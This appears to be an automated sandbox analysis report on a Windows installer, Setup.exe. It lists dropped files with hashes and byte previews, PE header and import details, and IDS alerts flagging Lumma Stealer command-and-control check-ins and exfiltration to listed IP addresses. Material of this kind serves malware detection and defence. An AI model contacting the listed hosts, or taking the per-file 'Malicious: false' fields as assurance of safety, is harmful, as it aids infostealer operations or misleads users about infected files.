Preview:	..D38q...$.Y.6.r...E.(.!RD. .......I.D..T.......N.f.........3x..T..-.L.(..'.1{.b.Jj.p.%..#?.YX.w...P.s<......p..!..VQ.L..=}nT{}..jT2...;.;.S....nJ.`....>KL}.r....u..z...b..z....../2a..$9.I...qt...P....g....%...M..+28...`....._.........P..%.p...U..X..;.@..........{....\.mA..t..bK'.#(%....U.5h...S...z.......6_.O.l:.7...r._...W..v..g1x.....Y.1Nr.c.fe/tv`.\|......U.....IO.i.:.-\\|.p.<.f.YQH.#,./.8...^=.....$"..._.o.jYz&u.4....C..\..k......FK8.....+..^b...HG.d..s_D.3IN ...}....QtR..J..5s.9.i..bQ.......,.~........l~.........q....EB....AJy.u)Q8......?v.M...vj.[..`;f.3w.h>.8...t..u...3..,z'...rL.{.1s...i.XFph....../.l50Y..m$3.p.....+.....@q ...y&dYI[.I.<e.....F...\|..[...._.%..\n\|.-H._K.\..8`........K.<.S..}z&...1.<r.Ipm.<.....P..P.@...h.A.v..e\.wY....[..[C..........o.Dz...hT.g....A:i.k..yU......T....p...B.F.<].....&,....h.....L.<..L..g..\...p...`L......;.>l..3F$..a..r.[.Y.R...`.W.....F...'"s9KAI.Q..:.......v.\|x..S...y6i...J..G4.. .+.....s...

C:\Users\user\AppData\Local\Temp\Philosophy

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	119808
Entropy (8bit):	6.678227167119742
Encrypted:	false
SSDEEP:	1536:a7KxQefixl2vqWWGlHHvpKa5Gk6/vij4Ng/Pp5q/qw0j8sgyZpQ4VMEPmfP/b/po:dxQeixApVIa0/vidXqGjLPQ6ClA/
MD5:	48919117C45388AEEFB17226C73BDC15
SHA1:	16191DD94155B081BA6B3E21B7F4D89213AB5041
SHA-256:	EF8766A677B8BD9A9883DEA377C45774D54792C42581E6A22057A34070AC3547
SHA-512:	B564477268D9E858CB8F0802E22CF516807FF8D00B7C5338DFFDF5F91513FBC3E5FCA16CE7852AA023B2A91D6060100A2A6880B8BD3462262C38033D6E12E50F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.I...-...X.f...0.I...\.f.(. .I...Y.f.....v........?f.(-..I.....I......f.Y...\...Y.8.I...\.f..x.f.........\.f.Y.f.\.f.(5..I...Y...\.f.Y.f.Y...\.f.(...\.f..X...X...\...Y.f.Y...Y.f.Y.f.Y.f.X-..I...Y f.X5..I.f.Y.......XX...Y.......X.f.X.f..h...\...\...XH.f.Y...X...X...X...X...X.f.....X.....X.f..d$..D$......+f....f%..f.......f...`.I...\.f..L$..D$......2...I.....U.........$..~.$.......f..D$.f....f%..f-00f=....B...f.....I...Y.f.....I...-...X.f.....I...\.f.(...I...Y.f.....v........?f.(-..I.....I......f.Y...\...Y...I...\.f..x.f.........\.f.Y.f.\.f.(5..I...Y...\.f.Y.f.Y...\.f.(...\.f..X...X...\...Y.f.Y...Y.f.Y.f.Y.f.X-..I...Y f.X5..I.f.Y.......XX...Y.......X.f.X.f..h...\...\...XH.f.Y...X...X...X...X...X.f.....X.....X.f..d$..D$......I...f...f=..u...Y...I.f..D$..D$.....f.....I...Y...\...Y...I.f..D$..D$.......1...U...(3..E..E.9..ZL.t..5.aL...8.I.......\|C..E......V;............................j.Z+.......H...............H...............HtN.....#....E......E.PI..E..u....E..]....E..]...P.]...Y.

C:\Users\user\AppData\Local\Temp\Surrounded

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	4.288369736827085
Encrypted:	false
SSDEEP:	768:2+AGWBA60iPTcf4qSq25N8EH/i6mxyyM0Dj2Bmgari07L:2+l6JPTcUNx6/xhgariw
MD5:	61F46E587DDE8EBFB33BAA67C373C4CC
SHA1:	5FBA56CF088926FF10415D22542ED1DBBB064B1C
SHA-256:	349302733ADA7595C70F0C83A1E2CB1C027C533871AF5BC0BE6466D17EC3EDEA
SHA-512:	5A9E35C87BFF33A809091D5C142DBDB6D62E079F1ADD97B2894BBF1973755CB2B2B62C9053648BA991C0E8B53F8CF151A85E18C68A87300A0CE5A9596C017110
Malicious:	false
Preview:	....................................................................................................................................................................................................................r.r.................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.........r.......................................................r.....r...r.r...r.....................r.........r...r...r.r.r.r.r.r...r.r.r.r...r...r...r.......r.....r...r.r...r...r...r...r...r.....r...r.r.........r...............r.........r.........r...r.....................r...................................r.r.r.r.r.......r...........r...................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.....r.r.r.r.r.r.r.r.r.r.r.r.r.r.........................................................................................r.r.r.r...............................................................

C:\Users\user\AppData\Local\Temp\Technological

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	148480
Entropy (8bit):	5.8765840511418554
Encrypted:	false
SSDEEP:	1536:p4ztrgWVrZ+In23SwFc1vtmgMbFuPO1MBNfMBNB+usWjcdGQuklIusaAwu9hPy:CZaUAg0FuPOKBNEBNUGXEyaAt7Py
MD5:	83F7F1CA3C232B7C1B88BF316704F0CA
SHA1:	3E9E30D140FF02905D825348FC13E8B6E8448DCE
SHA-256:	A92634171552924D4A1C4D32F5B227C20000458BFCB46CAEAC1DDA46B3B92B10
SHA-512:	D9AF7F1624CCA4F661FBB765ACF7484D6B03F08030C7AC4BB07380DFC6DDA19E49F6A90362ADAD4F3B4AC15C9240892E529D7074D5CB2312BFE38FC91030A7C6
Malicious:	false
Preview:	..auA..A.f;E.t.f;E.....A.j.^f;.t.j.^f;.u........-....t.HHt.HHu...A...A... gJ...A..t9.B..7w1f.A......f#.....f;.u........A.;E.t"...... gJ...A..1f........3._^[..]....U..QQSV.u.3.U..M......sAW3.;E.t+.V..H...G.R.A9.t..4..U..M.P.u..u..l........4.........r._^..[..].U..QQS.].3.VW...U..E..w,9G0~X...P.F.P.u..1.......u.f9D^.t......x..G4.4F.E.@;G0.E....\|....G0+E..O4.....P..NVP.......f.E.f.....P.u..F.P..+.....3.f.D^..G0_^[..].U..QQSV.u.3.W.}..........U..M...t]HPS.u..u...........H.B......@.N.9.t.F..E......u.......%.....U.H.M.P..@P.u..u..:....u..........r._^..[..].U..V.r....W...........KK.........E.hJ......]....$...H....!?J.<.t.<.t.<.t.3...3.A3.;M.....1.......!?J.3.E.;..p.K....3.;U.......!?J.3.9E.......... ?J.......!?J.3.B...p.K.;.t...t.3......;.w=ts...r"...vi.. td......t\......tT......tL....!?J.3.<.p.K..... ..r... ..v(..' ..v..) ..v.../ ..t..._ ..t....0..u..E..U....!?J.3.B...p.K.;...!.............._.L.......#?J.....UJ....@.;.t...;.s.3.9E......3._^]..3.H.Z.H.x.H...H...H...H...H.6

C:\Users\user\AppData\Local\Temp\Underwear

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.6706516345081734
Encrypted:	false
SSDEEP:	1536:Dsu0nMOKzlvlao/RIs2ziQD2tR/i0027EM/awuUwh:kDKJtIs8di/37EM/jU
MD5:	8F60967D491451F4A2C404FFDEE58E4B
SHA1:	4191F5F3FDA749234D8606771C2D06D616CF9898
SHA-256:	ADC5906E287A682626896B2E9E7F2A6F3E34F3F5F0FA3601C12473CDB9274BEF
SHA-512:	69BB6484EB048D5529D7C6051ECD921A2237F5AA3DA59FB88A3D4CC79A0528C6E860762B1F383066B023D439A138D55933261980E3723F52B85716AE3FE3EE03
Malicious:	false
Preview:	$.^_......F..G..D$.^_.I......F..G..F..G..D$.^_..t1..\|9.......u$.........r.....$.D.B......$...B..I..........r....+..$.H.B..$.D.B..X.B.\|.B...B..F.#.G.............r.....$.D.B..I..F.#.G..F.....G..........r.....$.D.B...F.#.G..F..G..F.....G............V.......$.D.B..I...B...B...B...B...B. .B.(.B.;.B..D...D...D...D...D...D...D...D...D...D...D...D...D...D..............$.D.B...T.B.\.B.l.B...B..D$.^_..F..G..D$.^_.I..F..G..F..G..D$.^_..F..G..F..G..F..G..D$.^_..$....W...................te..$.....f.o.f.oN.f.oV f.o^0f...f..O.f..W f.._0f.of@f.onPf.ov`f.o~pf..g@f..oPf..w`f...p............Ju...tO.......t.......f.o.f....v....Ju...t*.....t......v....Iu....t.....FGIu.......X^_..$.............+.+.Q.....t.....FGIu....t......v....Hu.Y.....U..S.]...V.........H......H......H..>....U.H.......u.W.. ........;.............+.t.3.......M..............~...B.+.t.3.......M........y.....~...B.+.t.3.......M........W.....N...B.+.t.3........E......3....1....F.;B.t......B.+.t........M............

C:\Users\user\AppData\Local\Temp\Worcester

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	6.697289890226587
Encrypted:	false
SSDEEP:	3072:0fA4lelIJBSLPNGR5yiPlcQ4NvoWV7a5ouYNqnLzB:0fA+eyVPlcBgtoTqnvB
MD5:	48726711D1F4FE7A0BB6076B17F02A55
SHA1:	6C2F38EA9C6AD28111EB824915402BCF85453A96
SHA-256:	D510A287CDE9E0F394BA3C0C0A1A1B49252CB82EF27664CF6FE33891DCB43700
SHA-512:	B24EBDE3BEE37F7D9093D8CEC53002F8D2BCDD6D623DF7FFDBDD2619750F0DAD8B4876DDCDC928D7BAFED6B6B607CD5581768F9C1A1075E60886F66255B11DA8
Malicious:	false
Preview:	.;...*@....82..@..?..B@..Ju.M...@..j.X.@...x.....@...x....y@....}....t........@...=.....@...L..:L..uF.L..:..u5.L..:L..u#.L..:L..u..........A....A.......A.......A.......@..@..@...E.....j...P.3..A...3.E..j.j.P..B...}.EA06t........@..3...@.....mA...M...B..3.@.UA...6.E.j.j.P..A..h...j..E.P.....6.f.....pA...F.3...A...A..U.Rj.j...j.P.Q..E..cA...I..E.VW.1.}.W.u..RPQ.V..E._^.gA...I..E.P.E...E...P.u.Q.R..E..sA.....t4HHt.......D....sL....rL........D...5.rL.....I...D...M...j....P...Pj.j..5.rL.....I..D...E...sL.%.......rL...........prL..w.........%D...=.rL.....D....xL....P.....O....D...=.rL.....C...E.P.$~....C...u..u.QQ..xL.."..<....D....C...E....rL..P.M.N.TK...}..HE...E....rL..P.M.N.8K...}..AE....rL....rL........rL...(....E.P.M...K...E..rL.P......E....P.M...J...}...E...E....rL.....P.M...J...E..rL.P.....E....P.M..J....D..j.QQ.BT......F..j.h..K.h.K.S..8.I..3H..j..5.rL...W..&....rL....L..G.....&........P....I..=\|rL...G...C.......G..8E....G...M..:...h.mK..M......M..t%...K.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1frnybdi.30m.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4gbgi4m.4cb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkxmew01.oma.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4zcwmhn.knf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xwy4xa2n.tgp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjjzo12u.5jh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.981029632992097
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	1'079'797 bytes
MD5:	5efe766f54925452535ef011161edd16
SHA1:	a03fdc832eece5fbed02c3987be9571098af24d4
SHA256:	9262348e1aa8c196cd38efcca58146dca6c40ad5132744f96e6b7ced57eb8fcd
SHA512:	5d16842613086e494202f475ff4bde170e70ba6d5ba05378f37c5351d231283b87796d715d43ab775be63cbf8e4e79518f8a48cd37ba98d60ea3d47443305c9f
SSDEEP:	24576:MTX5rgUT0eB7tr4vQ2b2Od0dw/ugZbJany4fa0:wrj7cvrzWgR6Tr
TLSH:	EB3533835FA48675D9017B3865F2965B8FBBFA512C20FB5F7B010DC82471A805E2877E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	078e8c88f541631e

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Certum Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/11/2023 12:20:30 23/11/2026 12:20:29
Subject Chain	E=wxhere@hotmail.com, CN=Xing Wang, O=Xing Wang, L=Shanghai, C=CN
Version:	3
Thumbprint MD5:	7A742F7A11DA60D6B28ED77287CB1B98
Thumbprint SHA-1:	D1CDF37E4A61C7F13F8DF0BFA4A4A26BAB7AE33B
Thumbprint SHA-256:	FD3D28462CA469508569FB0D4DE9C956D168989F192D0558BF9A5FB288DAA54C
Serial:	48B06EDB116D54BE21D51656D91CF246

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F89985177ABh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F899851748Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F899851747Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F8998514D7Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F8998517151h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F8998514E03h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F8998514D7Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x14e5e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x105265	0x2790	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x14e5e	0x15000	0d11f1469463277013fa19b9f85cb853	False	0.9764346168154762	data	7.918056882282238	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x115000	0xfd6	0x1000	f1c63e7efb51bb0b964b9d970f099faa	False	0.5986328125	data	5.60167986217944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001c0	0xe8af	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9888361005254587
RT_ICON	0x10ea70	0x5e78	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.9992143565994046
RT_DIALOG	0x1148e8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x1149e8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x114b04	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x114b64	0x22	data	English	United States	0.9411764705882353
RT_MANIFEST	0x114b88	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T01:46:02.055856+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49869	104.21.36.51	443	TCP
2024-12-08T01:46:03.213487+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49869	104.21.36.51	443	TCP
2024-12-08T01:46:03.213487+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49869	104.21.36.51	443	TCP
2024-12-08T01:46:04.543705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	104.21.36.51	443	TCP
2024-12-08T01:46:05.391543+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49878	104.21.36.51	443	TCP
2024-12-08T01:46:05.391543+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49878	104.21.36.51	443	TCP
2024-12-08T01:46:07.010162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49885	104.21.36.51	443	TCP
2024-12-08T01:46:09.186930+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49891	104.21.36.51	443	TCP
2024-12-08T01:46:11.378177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49897	104.21.36.51	443	TCP
2024-12-08T01:46:13.971378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49902	104.21.36.51	443	TCP
2024-12-08T01:46:16.219501+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49908	104.21.36.51	443	TCP
2024-12-08T01:46:18.586208+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49915	104.21.36.51	443	TCP
2024-12-08T01:46:19.376501+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49915	104.21.36.51	443	TCP
2024-12-08T01:46:20.603874+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49920	104.21.36.51	443	TCP
2024-12-08T01:46:21.457500+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49920	104.21.36.51	443	TCP
2024-12-08T01:46:22.813737+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49926	104.20.4.235	443	TCP
2024-12-08T01:46:25.362993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49933	104.21.26.127	443	TCP
2024-12-08T01:46:26.021625+0100	2025011	ET MALWARE Powershell commands sent B64 2	1	104.21.26.127	443	192.168.2.4	49933	TCP

Network Port Distribution

TCP Packets

